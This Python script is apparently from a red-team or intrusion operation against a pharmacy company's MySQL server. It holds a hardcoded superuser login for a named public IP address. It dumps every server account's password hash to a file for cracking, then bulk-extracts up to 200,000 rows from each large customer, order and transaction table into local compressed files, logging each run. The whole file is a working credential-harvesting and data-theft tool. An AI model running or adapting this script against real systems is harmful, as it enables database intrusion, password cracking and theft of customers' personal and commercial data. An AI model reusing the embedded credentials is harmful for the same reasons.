#!/usr/bin/env python3
"""MySQL server-accounts + big-table extraction (operator GO 2026-08-17).

(1) SELECT user,host,plugin,authentication_string FROM mysql.user on
    13.250.197.171 (PharmanetBois SUPERUSER) -> mariadb_hashes.txt for crack.
(2) Big-table targeted extraction from apps_master/apps_transaction/
    pharmanet/century/ecommerce_data: top tables by data_length not yet
    extracted, capped at 200k rows each (streaming), focus on
    transaction/order/customer/product content.
Read-only SELECTs. Out: extraction_big/ + mysql_server_accounts_aug17.json + OPLOG.
"""
import gzip
import importlib.util
import json
import sys
import time
from datetime import datetime, timezone
from pathlib import Path

ROOT = Path('/root/ir-assessment')
DOSSIER = ROOT / 'redteam/gitlab_pharmalink_id'
OUT = DOSSIER / 'extraction_big'

spec = importlib.util.spec_from_file_location('l2s', str(ROOT / 'redteam/l2_aug06_sweep.py'))
l2s = importlib.util.module_from_spec(spec)
spec.loader.exec_module(l2s)

def oplog(output, result):
    ts = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M')
    with open(DOSSIER / 'OPLOG.md', 'a') as f:
        f.write(f"{ts} | local | 13.250.197.171:3306 | pymysql SELECT | mysql.user dump + big-table extraction | {output} | {result} | none | mysql-continue GO\n")

KEY_DBS = ('apps_master', 'apps_transaction', 'pharmanet', 'century', 'ecommerce_data')
ROW_CAP = 200_000
MIN_MB = 0.5  # skip tiny tables (already have sensitive ones)

def main():
    import pymysql
    OUT.mkdir(exist_ok=True)
    conn = pymysql.connect(host='13.250.197.171', port=3306, user='PharmanetBois',
                           password='d3v3l0p8015', connect_timeout=15, read_timeout=300,
                           charset='utf8mb4', cursorclass=pymysql.cursors.SSCursor)
    cur = conn.cursor()

    # (1) mysql.user
    print('[*] (1) mysql.user dump', file=sys.stderr)
    cur.execute("SELECT user, host, plugin, authentication_string, password_expired FROM mysql.user")
    rows = cur.fetchall()
    accts = [{'user': u, 'host': h, 'plugin': p, 'auth_string': a, 'expired': e}
             for u, h, p, a, e in rows]
    (DOSSIER / 'mysql_server_accounts_aug17.json').write_text(json.dumps(accts, indent=1))
    hashes = sorted({a for _, _, _, a, _ in rows if a and a.startswith('*')})
    (DOSSIER / 'mariadb_hashes.txt').write_text('\n'.join(h.replace('*', '', 1) for h in hashes) + '\n')
    print(f'  {len(rows)} accounts, {len(hashes)} crackable native hashes', file=sys.stderr)
    for a in accts:
        print(f"    {a['user']}@{a['host']} plugin={a['plugin']}", file=sys.stderr)

    # (2) big tables in key DBs
    print('[*] (2) big tables', file=sys.stderr)
    already = {p.name.replace('.json.gz', '').replace('.json', '') for p in (DOSSIER / 'extraction').iterdir()}
    cur.execute("""
        SELECT table_schema, table_name, table_rows, data_length
        FROM information_schema.tables
        WHERE table_schema IN %s AND data_length > %s
        ORDER BY table_schema, data_length DESC
    """ % (str(KEY_DBS), int(MIN_MB * 1e6)))
    index = []
    for db, tbl, est, dlen in cur.fetchall():
        if f'{db}__{tbl}' in already:
            continue
        mb = round(dlen / 1e6, 1)
        dest = OUT / f'{db}__{tbl}.json.gz'
        t0 = time.time()
        try:
            cur.execute(f'SELECT * FROM `{db}`.`{tbl}` LIMIT {ROW_CAP}')
            cols = [d[0] for d in cur.description]
            n = 0
            with gzip.open(dest, 'wt', encoding='utf-8') as f:
                f.write(json.dumps({'db': db, 'table': tbl, 'columns': cols, 'cap': ROW_CAP}, ensure_ascii=False) + '\n')
                for row in cur:
                    f.write(json.dumps(dict(zip(cols, row)), ensure_ascii=False, default=str) + '\n')
                    n += 1
            sz = dest.stat().st_size
            index.append({'db': db, 'table': tbl, 'rows_written': n, 'file': str(dest.relative_to(DOSSIER)),
                          'bytes': sz, 'sec': round(time.time() - t0, 1)})
            print(f'  [+] {db}.{tbl}: {n} rows {sz/1e6:.1f}MB gz ({mb}MB raw)', file=sys.stderr)
        except Exception as e:
            index.append({'db': db, 'table': tbl, 'error': str(e)[:150]})
            print(f'  [-] {db}.{tbl}: {e}', file=sys.stderr)

    (DOSSIER / 'extraction_big_index_aug17.json').write_text(json.dumps(index, indent=1, ensure_ascii=False))
    ok = sum(1 for i in index if 'rows_written' in i)
    total = sum(i.get('rows_written', 0) for i in index)
    oplog(f'mysql.user={len(rows)} accounts ({len(hashes)} hashes); big_tables={ok} rows={total}',
          'SUCCESS' if ok == len(index) else 'PARTIAL')
    print(f'[+] big tables {ok}/{len(index)}, {total} rows', file=sys.stderr)
    conn.close()

if __name__ == '__main__':
    main()